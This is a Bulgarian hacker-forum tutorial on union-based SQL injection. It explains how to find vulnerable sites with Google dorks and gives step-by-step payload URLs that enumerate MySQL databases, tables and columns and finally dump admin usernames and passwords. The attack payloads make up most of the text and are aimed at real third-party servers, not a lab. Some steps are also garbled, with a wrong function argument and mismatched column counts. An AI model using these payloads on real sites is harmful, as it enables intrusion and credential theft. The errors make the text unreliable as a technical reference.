SQL Injection (SQLi) - как да изтеглим информация от незащитен сървър



Внимание! Нека уважаваме труда на другите! Моля, не лийчвайте! Имате право да копирате урока, само при съгласие на администратор на NukerBG!





Въведение: 
SQL Injection е техника, която използва уязвимост в системата, позволяваща да вземете информация за база данни на дадено приложение. Уязвимостта се проявява, когато потребител въведе некоректно филтрирани знаци (' # и други). SQL инжекцията е позната още като SQL insertion attacks.


Полезни доркове ( google ) , с помощта на които можете да намерите уязвими сайтове:
Когато търсите в гугъл, изберете си някой дорк и сложете inurl: пред него. (Ако няма)


ПРОВЕРКА ЗА УЯЗВИМОСТ
Например взимаме сайт с дорк "index.php?id="
http://www.example.com/index.php?id=3
За да проверим , дали е уязвим сайта, слагаме знак ' преди или след 3
http://www.example.com/index.php?id=3'
или
http://www.example.com/index.php?id='3
Ако сайтът е уязвим, трябва да излезе грешка от вида :
Error : You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1


ВЗЕМАНЕ НА БРОЯ НА КОЛОНИТЕ
След като разберете дали сайтът е уязвим от първа стъпка, трябва да разберем броя на колоните. Най-лесният начин е да използваме стринга "order by". Всичко, което трябва да направите е да напишете ORDER BY (номер на колоните)-- в URL бара след края на линка. Направете го да изглежда така:
Пример:
http://www.example.com/index.php?id=3 order by 1--
http://www.example.com/index.php?id=3 order by 2--
http://www.example.com/index.php?id=3 order by 3--
http://www.example.com/index.php?id=3 order by 4--
http://www.example.com/index.php?id=3 order by 5--
http://www.example.com/index.php?id=3 order by 6--
http://www.example.com/index.php?id=3 order by 7--
http://www.example.com/index.php?id=3 order by 8--
http://www.example.com/index.php?id=3 order by 9--
Да кажем , че след последния ред (example.com/index.php?id=3 order by 9--) получим грешка. Това означава, че броят на колоните е предходната цифра (8). Ако грешката е на десетото число, значи колоните са 9. Ако грешката е на 50, значи имаме 49 колони. Но едва ли ще случите на толкова много. Ако имате лоша памет, ще е добре да си запишете някъде, защото ще ви потрябва по-нататък. :)


НАМИРАНЕ НА ДОСТЪПНИ КОЛОНИ
Сега като имаме броя на колоните, ние се нуждаем от цифрите на колоните, откъдето можем да вземем информация. Правим това посредством "UNION" "SELECT" и броя на колоните. Слагат се заедно в линка така:
http://www.example.com/index.php?id=-3+UNION+SELECT+1,2,3,4,5,6,7,8--
За последна цифра допълвате до броя на колоните. Пример: ако имаме 10 колони, ще напишем на края на линка ...-3+UNION+SELECT+1,2,3,4,5,6,7,8,9,10--. Ако имаме 15 колони ще напишем ...-3+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20-- и така нататък. Също така не забравяйте да сложите "-" пред id номера.
След като го направите, страницата трябва да изглежда малко разхвърляна/развалена и ще забележете 2 числа/цифри на страницата (удебелени). Тези числа/цифри показват от кои колони можем да вземем информация. По-късно ще ги използваме, като ги заменяме, така че ги запомнете/запишете. Ще приемем, че ни излиза 3.


НАМИРАНЕ НА ВЕРСИЯТА НА MYSQL БАЗА ДАННИ
Причината, поради която се нуждаете от версията на MYSQL е за да видите, дали си струва да инжектирате. Ако версията е над 5.0 следвайте инструкциите. Ако е под версия 5.0 , ще се използва Blind SQLi , за което ще напиша урок по-късно, така че наглеждайте форума /профила ми/.
Сега вземаме едно от числата, които открихме преди малко и го заменяме с "@@version" <запазена команда.
Това : example.com/index.php?id=-3+UNION+SELECT+1,2,3,4,5,6,7,8-- Ще стане http://www.example.com/index.php?id=-3+UNION+SELECT+1,2,@@version,4,5,6,7,8-- . След като заредите страницата, ще ви излезе версията на MYSQL DB .


НАМИРАНЕ НА ИМЕНА В БАЗА ДАННИ
Сега ще инжектираме сайта и ще намерим имената на база данните. Заменяме "@@version" със "group_concat(schema_name)" и добавяме +from+information_schema.schemata-- след последното число и края на линка. Така че линкът ще се промени:
example.com/index.php?id=-3+UNION+SELECT+1,2,@@version,4,5,6,7,8--
––––> http://www.example.com/index.php?id=-3+UNION+SELECT+1,2,group_concat(version),4,5,6,7,8+from+information_schema.schemata--
Това ще покаже имената на база аднните. Сега за да намерим коя се използва, заменяме "group_concat(schema_name)" с "concat(database())" и махаме "+from+information_schema.schemata". Така че линкът ще изглежда така:
http://www.example.com/index.php?id=-3+UNION+SELECT+1,2,concat(database()),4,5,6,7,8-- 
Това ще изведе името на база данните, която се ползва. Можете да си я запишете. Ще приемем, че ни дава primerna_baza_danni.


НАМИРАНЕ НА ИМЕНА НА ТАБЛИЦИ
За да вземем име на таблица от сегашната база данни, трябва да заменим "concat(database())" с "group_concat(table_name)" и да добавим from "information_schema.tables where table_schema=database()" между последната цифра и "--". Също така е желателно да премахнете "+" -овете. Сега линкът ще изглежда така:
http://www.example.com/index.php?id=-3 UNION SELECT 1,2,group_concat(table_name),4,5,6,7,8 from information_schema.tables where table_schema=database()--
На страницата трябва да се покажат имената на таблиците. Можете да си ги запишете , тъй като са важни за по-нататък. Ще приемем за примерна таблица primerna_tablica.


НАМИРАНЕ НА ИМЕНА НА КОЛОНИ
Това е точно като взимането на имената на таблиците. Само трябва да промените "table_name" на "column_name" и "information_schema.tables" на "information_schema.columns". Линкът ще изглежда така:
http://www.example.com/index.php?id=-3 UNION SELECT 1,2,group_concat(column_name),4,5,6,7,8 from information_schema.columns where table_schema=database()-- 
Така, това ще ви даде имената на колоните. Може да ги запишете.
Да кажем , че ни даде следните имена на колони:
admin_ime
admin_parola




ВЗЕМАНЕ НА ИНФОРМАЦИЯ
Сега можем да имаме името на базата данни, имената на таблиците, имената на колоните. Можем да ги обобщим в един код и да получим информация от тях. За да направим това ни е нужно:
http://www.example.com/index.php?id=-3 UNION SELECT 1,2,group_concat(име_на_колона,0x3a,име_на_колона,0x3a),4,5,6,7,8 from име_на_базата.име_на_таблицата--
Пояснение:
* Заменете име_на_колоната с името на вашата колона, която сте намерили.
* 0x3a ще сложи двуеточие (:) , за да раздели информацията. Можете да сложите колкото си искате имена на колони, важното е да ги разделите подобаващо. Също заменете име_на_базата.име_на_таблицата със съответно: името на база данните и името на таблицата, които сте намерили. След това линкът ще изглежда подобно:
http://www.example.com/index.php?id=-3 union select 1,group_concat(admin_ime,0x3a,admin_parola,0x3a),2,3,4,5,6,7,8 from primerna_baza_danni.primerna_tablica--


Сега имате основни знания за SQLi. Трябва да знаете, че този метод не важи за всички видове грешки в SQL. Има и вариант за изтегляне на информация чрез Blind SQLi, където нещата стават по-сложни. За това ще напишем урок по-нататък! Наслаждавайте се. Вложих много труд в тази статия, така че се надявам да ви хареса :)



Внимание! Нека уважаваме труда на другите! Моля, не лийчвайте! Имате право да копирате урока, само при съгласие на администратор на NukerBG!